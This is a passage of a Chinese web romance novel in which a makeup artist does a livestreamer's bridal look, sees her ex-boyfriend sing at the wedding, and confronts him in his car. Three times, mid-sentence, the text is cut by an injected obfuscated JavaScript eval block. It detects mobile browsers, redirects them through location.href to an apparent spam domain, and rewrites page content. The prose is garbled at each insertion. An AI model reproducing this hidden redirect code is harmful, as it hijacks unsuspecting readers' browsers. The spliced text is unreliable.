“这个拉黑,这个也拉黑!统统拉黑!……我就不关私信,关了不就如他们的意了么!啊啊啊啊我不看了,算了还是看吧,我倒要看看这人长得多美还好意思骂我!” 唐枫提着箱子走过去,“你好?” 苏寒没刹住的杀意眼刀“嗖”地射过来,唐枫感觉自己迎面中了一刀。 “是Candy老师吧。”苏寒放下手机,敛了敛表情,但也没敛到直播间里那种温柔大气的样子,大概是实在装累了。 “Shirley和你说过吧,我半小时后要出门,所以你要在半小时内帮我画好,OK吗?” 唐枫点头,“我知道,半小时没问题,不过肯定没完成妆精致,发型暂时也做不到百分百,我会在那个基础上做部分简化,但概念风格是和完成妆一样的,如果你需要看最终效果,我会在两天内自己试妆拍给你。” 唐枫已经做好了苏寒会说“你能和我的长相相提并论吗?凭什么替我试妆”的准备了。 但苏寒只是轻点了下头,“可以,开始吧。” 这个开头比预想顺利,唐枫紧绷的心态调整好一些,但她打开自己的化妆箱准备开工时,苏寒眉头又皱了起来。 “这什么?” 苏寒拿起一瓶黑色喷雾左右看了看。 “植乡秀定妆喷雾。”唐枫说。 “天呐我的皮肤接触这些杂牌会被腐蚀的。”苏寒一脸无语道。 唐枫才想无语呢,她如今虽然虎落平阳,但用在脸上的东西宁可没有,也从来不愿糊弄,就算会找她以前所不齿的“平替”,但也绝不会用什么杂牌。 这定妆喷雾还是她为了给苏寒化妆特意找代购买的,MadeinTokyo,198块哎,哪里杂牌子啦! “用香奶奶吧,我只用得惯这个牌子。”苏寒说。 靠,她能买得起香奶奶还在这里吗? 看苏寒这样子恐怕她箱子里的大部分化妆品都要换一遍,8000块的酬金都不够买的。 是谁要贴钱打工啊! “我没有香奶奶,也没有迪小姐。”唐枫坦白,“但我买的这些化妆品成分都是在国际质量标准范围内的,不会腐蚀。” “那可不一样,我的皮肤和你不一样。”苏寒瞥了眼唐枫,淡淡说道。 ……这话说的也没错,但不代表唐枫就要认可。 谁还曾经不是个公主了。 好吧,她现在不是了。 唐枫脑海翻腾,反复提醒自己不能怼回去,不然让雪莉为难的时候,苏寒又开口了。 “Mary,bringmemymakeupbag。” Mary就是刚才给唐枫开门的阿姨,拉丁裔,经常出现在苏寒的直播间,帮忙递水果甜点,当然最大功效是展示苏寒标准的英式口语。 Mary把苏寒的化妆箱拿过来打开,苏寒纤指一点,“这些你拿着用吧,喜欢的直接带走。反正我有很多,而且也不喜欢和别人共用同一套化妆品。” 里面全是香奶奶、迪小姐和腊梅儿,唐枫看到的一瞬间立刻就在心底滑跪了。 她收回刚才的吐槽,苏苏真的是一个很善良很好的小女孩呜呜呜…… 苏寒直播本就化了完整的妆,重新上妆前要先卸妆。 苏寒卸好妆从洗手间走出来时,唐枫稍微惊讶了一下,她底子不错,抛去千篇一律的网红妆造,底下是副绝对称得上清秀温婉的五官。 只是苏寒但凡出镜直播就是雷打不动的重阴影深腮红网红妆,唐枫做功课的时候凭借经验在脑海里还原苏寒五官,然后设计了一套适合的妆容。 但眼下看来,功课还是做少了。 唐枫不得不把最开始的妆容计划快速调整了一番。 但眼下,把这临时的调整向原本就情绪不佳的苏寒讲才是最困难的。 唐枫深吸一口气,开口道:“现在要化的妆可能和昨天线上沟通的有点差别。” 苏寒眉头果然蹙起,但这一蹙后五官分布的形态让唐枫更坚定了她适合这个妆容的想法。 “什么意思?你是说你要临时改妆?我刚才应该告诉过你我半小时后要出门的吧?” 苏寒稍平复下来的心情又涌上一股无名火,把手里的粉扑扔在地上,“啊烦死了,从准备结婚开始就一直不顺利,结个屁不结了!” 很好,这下锅越背越大,成了破坏婚姻分子了——好像哪里绕回来了? 唐枫顿了顿,说:“你的眼型纤长上挑,其实不适合过重的眼睑下至。本身眉骨平缓,粗平眉只会加重这种既视感。你的鼻梁虽然低,但你的眼间距也窄,深色鼻影会让你的五官显得很局促。” 唐枫能明显感觉到,在她的话一句一句说出来时,苏寒身后一节一节窜高的火焰…… 她已经观察过了,桌子上没有明显的利器,杀伤力稍强点的粉底液眼影盘已经被她不动声色挪了位置。 如果苏寒要随手抄起什么东西扔她脸上,她最多受个轻伤。 在苏寒磨着后槽牙准备爆发的前一刻,唐枫又开口打断了她。 “你的眼型是标准的丹凤眼,原生眉细长清秀,而且虽然鼻梁低但脸型极流畅,很适合一种新中式妆。”唐枫把参考例图展示给苏寒。 苏寒看完嘴巴张了张,又闭上。 但表情仍旧怀疑。 唐枫继续道:“我看过你发在微博上的婚纱,主纱是缎面鱼尾,和新中式的基调也很搭,这套妆造会凸显出你的脸型优势,同时放大你温婉清秀的五官,没有人比你更适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002788|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合这套妆。” 苏寒听着唐枫的话,表情从皱眉怀疑到挑眉认可,到最后嘴角忍不住偷偷翘了翘。 苏寒清清嗓,左右肩交替扭了扭,“你说得也太夸张了,怎么可能没有人比我更合适,我脸型也就一般般好吧,温婉倒是有人经常说,不过我从来不在意这些外貌的评价,人最重要的还是内在!” 唐枫郑重而庄严地摇了摇头,“不,这套妆就是为你生的,没有人比你更适合。全中国也找不出比你化这套妆更漂亮的人,今天就是章子怡在这,也只能委屈她往后排一排。” 苏寒嘴角快翘成耐克了,她拿着化妆镜照了下,眨眨眼:“那好吧,就试一下吧。” 得到许可,唐枫干净利落给苏寒上好底妆,然后顺着五官开始描画妆容。 一整个过程中,苏寒的狗狗都蹲在自己主人脚下蹲着,长着毛茸茸白胡子的大眼睛萌狗惹得唐枫要拼命压抑住想要过去贴贴的冲动。 但狗狗的冷漠甚至是疏远,瞥一眼嫌弃得挪着屁股远离半米的行为,将唐枫推到了遵守职业道德、专心化妆一端。 汪汪教徒从小不受狗狗喜欢,这到哪里说理去啊。 狗场失意,职场得意,唐枫的化妆进程倒是顺利,一套简单的妆发二十分钟就成型了。 最开始苏寒不大放心还一直瞄镜子去看,画完第一层眼影的时候苏寒就放下镜子开始享受了。 等到全妆结束,苏寒看着镜子里的自己半天没说出话来。 “原来我还可以长这样。” 唐枫说:“你底子好,想长什么样就什么样。” 苏寒快被唐枫一张嘴钓迷糊了,嫩白的小脸粉扑扑的,“那就定这个吧。” 她说完拿出手机开始自拍起来,唐枫这也算是面试成功了,心情愉快,准备起身告别,这时门从外被推开了。 进门的人是苏寒未婚夫大白,看样子也是匆匆赶过来的,一溜小跑走进客厅,“怎么了寒寒?要飞巴厘岛?你不会这会儿要悔婚吧。” 大白的一句话惹得唐枫原地哆嗦了一下。 超强少萝音? 再对比苏寒在她刚进门时的那嗓子,唐枫甚至觉得这俩不止般配,甚至绝配。 画风好精彩的女A男O! “什么巴厘岛,谁说要去巴厘岛,我心情正好着呢,哪里都不去。”苏寒拍完照片打开修图软件,低头专心修图,“婚礼歌手你联系好没啊,你知道这个对我多重要,掉链子我可真悔婚了。” 这样的热闹看不得,害怕听到什么不该听的隐私,唐枫识趣抬脚准备离开。 “我就是要和你说这个问题。”大白在苏寒旁边坐下,声音温吞道:“最近有几个品牌联系想要在婚礼上让我们帮忙宣传一下,你喜欢的那个歌手有冲突代言,来不了了。” “你要在我的婚礼上带货?”苏寒镜子往桌上一拍,“嘭”的一声。 “我刚和粉丝说我不会带货你转眼就背刺我,你这样做和我商量过没有,你不觉得那样小丑似的叫卖很low吗?” “我知道你不喜欢,但品牌方都是认识的朋友,我也不好拒绝啊。”大白唯唯诺诺哄着。 “这是我的婚礼!” “哗啦——” 一声突兀的落地声打断了争吵,两人齐齐看向声音来源,唐枫手忙脚乱收拾起掉在地上的一堆化妆品,手指并起在额前比了比,“抱歉抱歉,你们继续。” “这位是?”大白终于发现客厅还有个喘气的了。 苏寒扬声:“你别管,先说你的事,你如果一定要带货我就不结婚了,而且我说过,其他我可以妥协,我的婚礼歌手只能是李恪!” 唐枫:………… 她是不是鬼打墙了,怎么在这都能听到李恪的名字。 本来收拾好准备溜走的唐枫脚步定在原处。 大白叹了口气,“我和你说实话吧,就算没有带货李恪也不愿意来,我托人打听过,他这人不跑商演的,傲气得很,我怕你难过才没告诉你。” “现在人是确定不来了,还不如我们接了品牌的推广,给我们未来的小家多积攒一些资本……” 唐枫没再听后面的话,她只要知道李恪不会去就好了。 李恪傲气是从小贯穿到大的,唐枫对他的这点十分有信心。 他从小到大没缺过钱,天分上更是文体两开花,基本上想做什么都能做成,有天然傲气的资本。 除了在唐枫这里偶尔遭受点压迫,其余时间都是无可置喙的天之骄子。 唐枫以前还老调侃李恪的傲气,现在却十分感谢他这点。 幸好是这样,以后不用再见了。 5. 好磕 婚礼当日,凌晨六点钟的酒店热闹得像过年的庙会。 不知道大白是怎么说服苏寒的,总之最终门口和婚纱照等高的品牌宣传立牌说明了一切。 酒店大堂一半的人在做现场最后的调整,另一半人在准备测试一会儿的直播机位。 而在酒店房间内,趁着苏寒在去换礼服,雪莉和唐枫俩人盘腿坐旁边沙发上吃酒店送的婚礼小食果脯。 “你说你碰到李恪了?!” 雪莉一脸吃到大瓜的表情,兴奋喊出声。 “你再大声点,”唐枫扶了一下额,“楼下保安的那条狗还没听见。” 雪莉果脯都不吃了,拍拍手凑过来,“怎么碰的?碰哪里了?碰了多久?碰得深吗?快说快说快说!” 唐枫:“莉姐你脑子里能有点除了黄色以外的颜色吗?” “主要那是李恪哎!你就算不要他,睡他一下又不吃亏!”雪莉口出狂言。 “谢谢,可我们是纯爱啊!”唐枫握着雪莉的手猛摇了下。 没摇动她的热情——“磕的就是纯爱的擦枪走火!” 雪莉明显更兴奋了,“饮食男女上床那叫理所当然水到渠成,但你们这种从懵懂青涩一起走到情窦初开,然后共同步入性成熟后的天雷勾地火才是真正的仙品!” “她,为爱奔逃,他,步步紧随,她逃他追,她插翅难飞!”雪莉说着食指勾住唐枫的下巴,“女人,兜兜转转你终究还是逃不出我的手掌心。” 唐枫无语拨开雪莉的手:“你是不是偷看我书架里的霸总小说了。” “可是真的好好磕啊,真的不考虑再续前缘吗?” 唐枫无语,早知道当时就随便编个理由了…… 李恪三年前开始在网络上发布单曲,逐渐有了自己的粉丝站,但他做歌不追求市场,从流量来看算是小众,粉丝也不多。 有次唐枫浏览李恪的站子被雪莉看到,雪莉以为她喜欢歌手李恪,唐枫没和雪莉隐瞒,说了她和李恪相爱相杀的过往爱恨纠葛。 谁知道雪莉从此就磕了起来,她称两人之间有种注定纠缠的宿命感,并笃定当年伦敦一别绝对不是他们的结局。 还真让她说中了。 “我和他说了个假身份。”唐枫补充,把两人重逢后的前因后果又讲了一遍。 “天才啊糖宝!”雪莉拍了下唐枫的大腿,“这叫替身谋爱之,他还是爱上你了!是吧?” 唐枫:“你现在最重要的是把绿江卸了。” 雪莉:QvQ~ 顿了片刻,唐枫又望天长叹,“不过我还是觉得他认出我了,我们认识这么多年了,熟到我放个屁他都知道我前一天吃咸了,怎么可能化个妆就认不出呢?” “……糖宝你是不是对你自己的神医圣手没有概念啊,”雪莉说,“说是徒手捏五官是有点夸张了,大变活人肯定是有的。” 这说法也没低调到哪去吧…… “何况你五官类型其实算是浓颜,妆前妆后差距比男女差距都大,第一次见你化模特妆的时候我都没认出来,而且你不是说李恪没见过你化妆么,安啦,肯定认不出来的。” 这话倒是真的,她十八岁以前从来没正经化过妆,那时候青春就是最好的妆容,粉黛皆是多余。 那首歌怎么唱的来着。 不画扮熟的眼线,不用抹匀粉底液……最真实的喜怒哀乐全都埋葬在昨天。 ……没人能把这句歌词不带唱腔地说出来。 脑海里哼哼了两句,唐枫觉得释怀不少,决定暂时放下,把过去埋葬! 玫瑰花的葬礼,埋葬深深……诶? “谁选的backgroundmusic!大白你什么意思在我婚礼上放葬礼?”苏寒礼服绑带都没系好,拖着两米的拖尾从里间冲出来。 唐枫预感,这将会是她人生上下五十年所能见证的最精彩的婚礼。 ……两位新人没有辜负唐枫的期望,从婚礼入场开始就没停下过节目效果。 先是司仪的“男人的衣柜海洪之家欢迎新娘入场”打响了婚礼植入的第一枪。 而后是致辞环节,花东子经理上台慷慨激昂地讲述了二十分钟新出的专利产品,并身体力行从裤兜掏出一片面膜“啪”地贴在了自己脸上。 最炸裂的还是在交换戒指环节,大白牵着苏寒的手深情告白时,突然开始带起了货: “我们的相爱就像这枚D&D钻戒,我苟寻声发誓一生只爱你苏寒一人!D&D钻戒限时破价,大家记得小黄车先领券后下单!寒寒我爱你!你愿意嫁给我吗?” 更让唐枫没想到的是,苏寒竟然哭了,边哭边点头,哽咽说:“我愿意。” 大概是那枚十克拉全美方钻的力量太足,唐枫也跟着感动了两秒。 但两秒后即刻出戏。 “爸妈,我终于娶到我最爱的人了,”大白热烈盈眶,“大家给我们点点关注不迷路呜呜呜……” 直播的闹剧终结于镜头里大白出现太多,而账号又是苏寒的账号,苏寒出镜时间太短而被举报封禁了24小时。 但广告也都打完了,婚礼仪式进行到尾声,大家各有所得,也算愉悦。 “新郎可以亲吻新娘了!” 听到这句后,唐枫转身向准备间走去,为一会儿的敬酒服妆造做准备。 这时,舞台另一侧的幕布忽然拉开,一声空灵的吉他声伴随着慵懒低哑的嗓音响起。 “Thereisawaitsolong”(已经等太久了) “Youneverwaitsolong”(你等待这一刻太久了) 大片的粉色玫瑰花瓣从天而降,人群中传来惊呼鼓掌,苏寒也捂嘴惊喜尖叫出声,吉他声、鼓声、键盘声…… 一切在唐枫身后定格。 她被玫瑰眷顾淹没,如梦似幻的花海无限拉长了时间,又瞬间压缩了距离,她仿佛能听到李恪的嗓音紧贴着她的耳后吟唱。 “heresyourman”(你的真爱来了) “heresyourman”(我来了) 不由自主地,伴随着这道低迷的嗓音,那些画面开始在她眼前闪回。 四岁时和李恪的第一次见面,她星星眼一把抱住李恪的大腿,说这个姐姐好漂亮我要娶她!大人们哄笑出声。 七岁上小学她哭着要去李恪的班级,李恪无奈把一年级读了两次,她乐出鼻涕泡,李恪一边嫌弃一边给她擤掉。 十四岁收到第一封情书,李恪悄无声息把情书递给了唐枫班主任,导致初高中六年再没有男生敢追求唐枫。 十八岁李恪带她去伊莉莎白塔下,轻柔吻过她的额头,说重新认识一下,我是你男朋友李恪…… “Thereisawait ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002789|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' solong...”(已经等太久了) 声音在身后渐行渐远,热闹的、幸福的、荣光的……连同唐枫的那些年,在她再一次的落荒而逃下渐渐消失。 - 一场交换戒指流程下来,苏寒哭得稀里哗啦,她下台紧急call化妆师Candy补妆救命,却发现人没了。 雪莉是知道内情的,她一本正经和苏寒说:“Candy老师吃了提拉米苏窜稀了。” “我靠我就知道男人靠不住,说了这家甜品品牌出过问题非要合作,什么眼光啊!”苏寒抓狂道。 雪莉眉毛一挑,掐了掐苏寒气得涨红的小脸,“至少选老婆眼光一顶一棒!” 苏寒气焰瞬间就灭了,“说得也没错,大结婚的,先放他一马。” 苏寒边说着刷起手机,唇边笑意更是压不住得越来越浓,“我抖书底下从来没这么多路人夸我的美貌,我是说真心夸的那种…不过我也不是很在意这些啦,好吧我在意,今天真是爽爆了!” “对了,”苏寒又说起来,“给你朋友的4000酬金转过去了,额外给了2000一共6000,记得收。” 雪莉打开手机点击收款,苏寒又说:“你也是会给自己找麻烦的,我直接转给Candy不行吗?非要你再经这一手。” 雪莉挤眼,收了手机往外走,“我拿回扣啊!” 苏寒哂了哂,她是不信啦,雪莉出了名的大方坦诚,不爱占人便宜,她也是因为这点才和雪莉交好,她怎么可能看得上这几千块。 出了门,雪莉走向公共卫生间,敲了敲唯一紧闭的门,道:“苏寒觉得你化得好,多给你转了2000,一共10000扣除定金还有6000给你转过去了。” 里面没人吱声,雪莉又说:“李恪走了。” 片刻后,厕所门打开,唐枫红着一双眼走了出来。 雪莉把人搂住,抬手在她背上拍了拍。 “靠,更好磕了。”雪莉说。 “靠,什么都嗑只会害了你。”唐枫头埋在她肩上撞了两下。 - 婚宴结束,送走正经亲朋,迎来了狐朋狗友专属part。 唐枫蹲地上打扫化妆箱战场,被雪莉一把薅起来,“走走走,去夜色开趴了,这些让苏寒助理明天给你送过去。” 唐枫食指竖起左右晃了晃,“No,不参加银趴。” “我靠,骂这么脏?虽然我很想吃今天的伴郎,但很遗憾,我们是纯素局。”雪莉又挑挑眉,“来不来?刚好那帅哥的911还有个座位。” “夜你的色吧,眼下我最想去的是夜市。”唐枫提起箱子,“好几天没摆摊,我的顾客们肯定想死我了。” 雪莉啧啧摇头,“这就是和事业型女强人相爱的苦楚吗,见钱忘友的家伙。” “是的宝贝,”唐枫拍拍她的肩膀,“委屈你了,等我回家,我会好好补偿你的。” 雪莉在酒店门口和事业型女强人枫某表演了个依依惜别,然后转身乐滋滋钻进了911,干净利落,不带走一片云彩。 枫某笑着侃了声:“见色忘友的家伙。” 看看时间,刚下午3点一刻,距离夜市开摊还有不到3小时,高铁回去应该还能赶得上。 唐枫低头准备看票时,一辆车在她面前停下,带起冷冽的风冲得她后退了半步。 车窗缓缓降下。 6. 替身 冷风从领口灌入,贴着皮肤滑过脊骨,平齐的短发荡扫着锁骨,唐枫被发梢刺得战栗了一下。 “上车。”李恪的声音带着比风更冷冽的味道。 唐枫垂手攥拳,指甲紧紧勾着袖口的扣子锁紧衣袖,阻挡风的闯入。 “我不上。”她说。 唐枫看到李恪的眉骨向下压了压,心头的鼓七上八下敲了两下,她默不作声测算着李恪踩油门撞上来,然后和她同归于尽的概率。 很大。 这狗东西什么都做得出的。 但唐枫怎么可能让他拿捏。 于是下一秒,唐枫脚步一撤,一声不吭直接朝着车驶向的反方向撒腿就跑。 她又低估了李恪的行动力——刚跑出不到五米后,唐枫就听到身后重重的摔车门声,往后瞅了一眼,李恪竟然冲着她追了上来。 我靠啊……李恪你真是狗啊…… 五米的距离很容易被拉近,但唐枫逃跑的决心让她苏炳添附身,脚下踩了风火轮一样地越蹿越远。 李恪穿着修身的夹克和长裤,发挥不出全力,眼看着距离竟然被唐枫越拉越长,他眸光一凛,扬声喊:“有小偷!” “卧槽(二声)?”唐枫不可置信边跑边回头。 真不做人了是吧李恪! 旁边路人被这声吸引,先是瞅到前面疯跑的唐枫,心说这姑娘长得也不像小偷啊。 再转脸看后面疯追的李恪,心说他长这样他说什么都对。 于是三秒后,道路两边自动刷新出四五个边喊着“抓小偷,就是短头发提箱子那女的”,边冲刺着向唐枫奔去的NPC。 “卧槽(四声)!”唐枫有的时候真踏马想报警。 在众人拾柴火焰高,以及唐枫发现追自己的人越来越多,决定趁早放弃反抗不然真的药丸了的情况下,两分钟后,唐枫在一家便利店前伏法归案了。 冲在最前面一热心好汉准备将唐枫摁倒在地,但被赶上来的李恪挡在了前面。 李恪攥住唐枫的一只手腕,又伸手去够她的另一只手,唐枫恶狠狠瞪了他一眼,李恪淡淡抬了抬眉,意思是,要不你看看形势? 唐枫继续瞪。 但两只手还是被李恪扯住别到了身后,李恪的一只手攥住唐枫的两只手腕,另一只手腾出来拦下了路人报警的电话。 “我就是警察,不用报警了,谢谢大家的配合。”说着带着被从真实意义上掣肘住的唐枫向自己车的方向走去。 身后路人们才慢慢缓过劲来。 “什么情况?真是小偷吗?” “靠,不会我们也是play的一环吧!” “你有没有觉得那个男的长得有点眼熟?” “得了吧,是个帅哥你就眼熟,散了散了。” “奶个腿的想做个好人好事还被喂一嘴,老子和这些臭情侣拼了。” “……” 唐枫几乎算是被甩进车里的,因为她不配合,一路都在试图踩李恪的脚,且踩中了几次。 李恪把她“押”到车门的时候脸色是铁青的,脚趾头估计也差不多这个颜色。 坐进副驾,车门上锁,唐枫逃生的后路算是绝了,她识时务者为俊杰地认命下来,视线追着李恪继续铁青着脸从车前绕过走向驾驶座。 李恪的车里有种冷淡的水调沙龙香,她观察了一下,没有车载香薰,应该是李恪身上留下来的,散发着和他本人一样的,不近人情的味道。 驾驶座车门打开,李恪坐进,又“嘭”地一声把门摔上。 “啧,小心点。”唐枫心疼车门。 李恪启动车辆,挂着P档,但把空调热风打开了。 热风从空调出口涌出,唐枫干脆把手伸到出风口,烤火的姿势左右翻转着,给自己快冻僵的手回温。 车里长时间的静默,唐枫也不急。如果说在其他任何人为刀俎她为鱼肉的情况下,她可能都会着急想办法逃脱。 但如果刀俎是李恪就没关系。 因为如果问题不大,李恪不会搭理她。 如果问题严重,李恪不会放过她。 如果问题严重到今天这种情况,那她基本可以宣告死期了。 所以一切挣扎都没有意义,但死之前也要做个暖和鬼! 唐枫继续烤着手,身旁的人终于开了口。 “为什么躲着我。” 唐枫手指悬空在空调出口处摆了个龙爪手的姿势抓了抓,“没看清,我以为有人绑架呢。” 这话说出来唐枫自己也觉得扯,但她也懒得编其他,死到临头还有啥区别呢。 那边静默了几秒没有动静,唐枫没忍住抬起眼偏头看过去,正对上李恪看过来的视线。 “我再问一遍,为什么躲着我。” 这双眼睛冷得可怕,像冰封的孤山直直盯向唐枫,带着逼人的压迫感,让唐枫一时不太敢直视,但又无法逃避。 唐枫不确定他这股气势是源自于这个问题,还是他被她踩伤了的脚趾。 于是她继续装傻:“还能为什么,不就是……” 李恪打断了她,“不是说嫁给威廉王子么,为什么现在在这。” 一记直球打了过来,唐枫迎面被击,大脑程序卡了半秒,然后艰涩地混乱运行。 “我才知道他竟然已经娶了凯特王妃了,这个渣男!呸!晦气。”唐枫骂道。 空气安静了那么几秒,唐枫有种连个蓝牙放首歌来缓解一下此刻死一样尴尬的冲动,《忌日快乐》这首就很合适。 李恪轻吐出一口气,他收回侧向唐枫的身体,看向前挡风玻璃,长睫轻而缓地眨了下。 “那你现在在干嘛。” “在暖手。”唐枫说。 她说完这句听到了旁边清晰的磨牙声音,唐枫觉得李恪大概率在后悔刚才没和她同归于尽。 她舔了舔嘴唇,重新说:“你不是都看到了么,我在做化妆师。” 唐枫侧身转向李恪,微笑向李恪伸出手来,“重新介绍一下,坐在你面前的是国际专业化妆师。” 对上的是李恪古井无波的眼睛。 他就这么安静地看着她,没有伸出手,也没有接她的话,只是看着她。 让唐枫觉得,一切都没意思极了。 她撇了撇嘴,把手收回。 却被拽住了。 天气那么冷,李恪只穿了件夹克,他的手却泛着潮湿的热气,在车子闭塞的、狭小的,又晦暗不明的空间里,紧紧握着她的手。 上学的时候唐枫学过,固体导热的速度是优于空气的,李恪的手证明了这点。 她烤了半天没有回温的手,在李恪手掌的包裹下,慢慢恢复了热气。 她贪恋这点热气,没有甩开他的手。 “你放弃RA(英国皇家美术学院)的学位,就是为了做这个?” 唐枫不喜欢李恪的语气,就好像她做的“这个”是什么下九流的勾当。 即使她夸大了自己的职业和成就,在李恪眼里也就只是个“这个”。 “你剑桥毕业,不也是在别人婚礼上唱歌么。”唐枫本能反击。 她已经顾不得什么体面和教养,只是想在这次重逢后的第一次正面对峙中占得上风,就像在之前每次的争执中一样。 她没料到李恪会解释。 “我来唱歌是因为——” 唐枫下意识在心里接:是因为你。 因为苏寒在直播里提到过她的名字,因为不久前的那次见面后李恪让人查到了她的去向,因为他知道她今天会在。 但,李恪说。 “大白和苏寒是一起在福利院长大的,父母双亡彼此依靠,婚礼的前一个月大白找到我想给苏寒一个惊喜,我没有拒绝。如果你觉得在他们的婚礼上唱歌,可以作为你攻击的理由,那,请你随意。” 李恪语调波澜不惊。 唐枫内心狂风大作。 玛德,完败。 竟然一不小心被李恪站在了道德的高地上,不仅抨击了她的行为,还重创了她的世界观,让她怎么找补都里外不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002790|161843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是人。 毕竟同为这场婚礼的增色者,他是为了完成一个心愿,而她是真的来赚钱的。 关键是她明知道李恪是故意用这套说辞来压她,她竟然想不到如何反击。 唐枫恨不得自己今天是唱歌的那个,因为她这会儿脑海里闪现的是依萍的那句“你是来消遣的,我比你高贵,我是来赚钱的”。 她想不到回复,用了两下力气想要挣开手,但李恪的手掌像一把潮热的锁紧扣着她,动弹不得。 车里的温度越升越高,空气变得浓稠起来,唐枫好像能感觉到,李恪炙热的体温不只通过他的手,还通过呼吸侵染着她的身体。 他们对视着,空气在视线的追躲中被搅浑。 她听到李恪的声音,在潮热慢涌的空间里响起。 “小枫,你可以和我说。” 唐枫猛地从莫名的迷失中清醒。 她力气蓦地大起来,胳膊向后猛地收起,终于甩开了李恪的手。 “说什么?说我为什么辍学回国做化妆师的事吗?”唐枫说,“我不觉得给别人化妆比留在伦敦学画画低贱到哪里。” “我没说低贱。”李恪说,“你不要——” “你确实没说,但你就是这么认为的不是么。”唐枫看着他,“不过不好意思,我刚刚好就是以这种低贱的职业为梦想,我喜欢并享受做这件事。如果作为前任,脏了你的履历,我很抱歉。” 李恪无声地看着她。 “再说一遍,别找我了。”唐枫说,“我们不是一路人。” 她的手扶在门把手上拽了几下,而后“咔”的一声,车锁被打开,李恪放走了她。 乌云蔽日,天气阴得像是不打招呼直接跳到了夜晚。 冷风依旧凛冽,外面和车内巨大的温差让唐枫浑身的皮肤瞬间紧绷起来。 但她没停下来,头也没回地继续往前走。 暂时不知道去哪,但要往前走,离开李恪的视线。 什么“梦想”、“喜欢”、“享受”,只是唐枫拿来搪塞李恪的措辞。 比起承认她彻底跌入了泥淖的现实,这种对于虚无缥缈的任性追求更符合她给自己的预设。 公主要始终昂首挺胸,绝对、一定,以及肯定,不可以落难! 如果陷落,那也只能落入自己心甘情愿为自己挖下的,精致昂贵的陷阱。 他可以不理解并质疑她,至少他不必同情以及可怜她。 唐枫昂首挺胸走了不知道多远,她猜测已经走出了李恪的视野,于是撇撇嘴,准备放声哭出来。 她允许自己放纵一次情绪,不能再勉强自己憋着,不然就太委屈了。 李恪真的很讨厌,小时候就总是喜欢和她拌嘴把她惹哭,这些天才见了几次,她都要把这几年没哭出来的次数哭完了。 唐枫吸了口气,闭眼刚起了个势,手机忽然响了起来。 她只好戛然止住,拿出手机。 屏幕上是一串陌生号码,唐枫想拒接,又怕是兼职电话,于是接起。 “我是李恪,为什么拉黑我。” 唐枫:“……” 她是不是和李恪做过什么类似于我做鬼也不会放过你的承诺。 没完了是吧。 她刚要化悲伤为愤怒,把眼泪化作子弹冲着电话发射出去。 但在开口的前一刻,唐枫忽然意识到什么。 她从前的号码早在回国前就注销了,李恪不应该知道她的新号码。 他知道的,是“唐娇娇”的号码。 而拉黑过他的,也是“唐娇娇”。 听到电话这端无声,李恪再次开口:“我被人欺负了,想见见你。” 唐枫:“……” 靠,真把老娘当替身了是吧! 不对,真把“唐娇娇”当替身了是吧! 死渣男! 如果不是残存理智尚在,唐枫都想原路返回把李恪从他那辆奔驰小跑里拎出来揍一顿。 她气沉丹田,对着电话道:“滚。” 7. 少年 “明天上午约了和Evan讨论曲风方向,下午到晚上是《音悦人》综艺彩排,至少4点前——”陈铮移开手机确定电话没挂断,“你听到我刚才说什么了没?” 李恪双手撑在方向盘上,直视着前方的某个点,“如果Evan坚持要那种上世纪夜店EDM(电子舞曲)曲风,再讨论一年也没用,我没兴趣陪他回忆往昔。《音悦人》不去。” 陈铮扶额捏眉心,“曲风的事可以再聊,《音悦人》不是说好了让你去接那个婚礼的商演你就参加的么?合同都签好了,你现在反悔违约金你付啊。” 李恪没接话,陈铮又接着道:“平时让你接商演你说你宁肯拿个碗到街上卖唱,这次两个名声不好的网红结婚,我不让你接你又非要接,不会真是被他们用来博同情票的故事感动了吧。还有,橙子说你唱完又在那留了一下午,到底那里有谁在啊。” 陈铮尽量好声好气和他讲:“被拍了我要尽早公关,别想着拿话搪塞我。” 李恪面无表情:“放心,我这么糊,狗仔蹲我都算赔本,真找过来你记得多给点。” “我说你……”陈铮紧急给自己下单了两瓶速效救心丸,“还真有啊,还是上次那个?有照片没,拿给我好提前做个心理准备。” 李恪停了两秒,忽然说:“哥,给我再办个手机卡吧。” “别叫我哥,我已经被你‘哥’出PTSD了,我也就这时候是个哥是吧?”陈铮说,“前两天不是刚帮你办了个么,你要那么多号干嘛?终于开窍亲自下场反黑了?” “明天我让橙子去找你拿卡,挂了。” 李恪准备挂电话,被陈铮拦住:“你敢挂我就让Maple去你房间拉屎。” “Maple最近便秘。”李恪说。 陈铮:“……” 把陈铮堵得说不出话来,李恪内心郁气散了不少,于是大发慈悲:“《音悦人》那个光头导师出轨了上一季冠军,不出意外今晚你就能在热搜看到道歉信。” 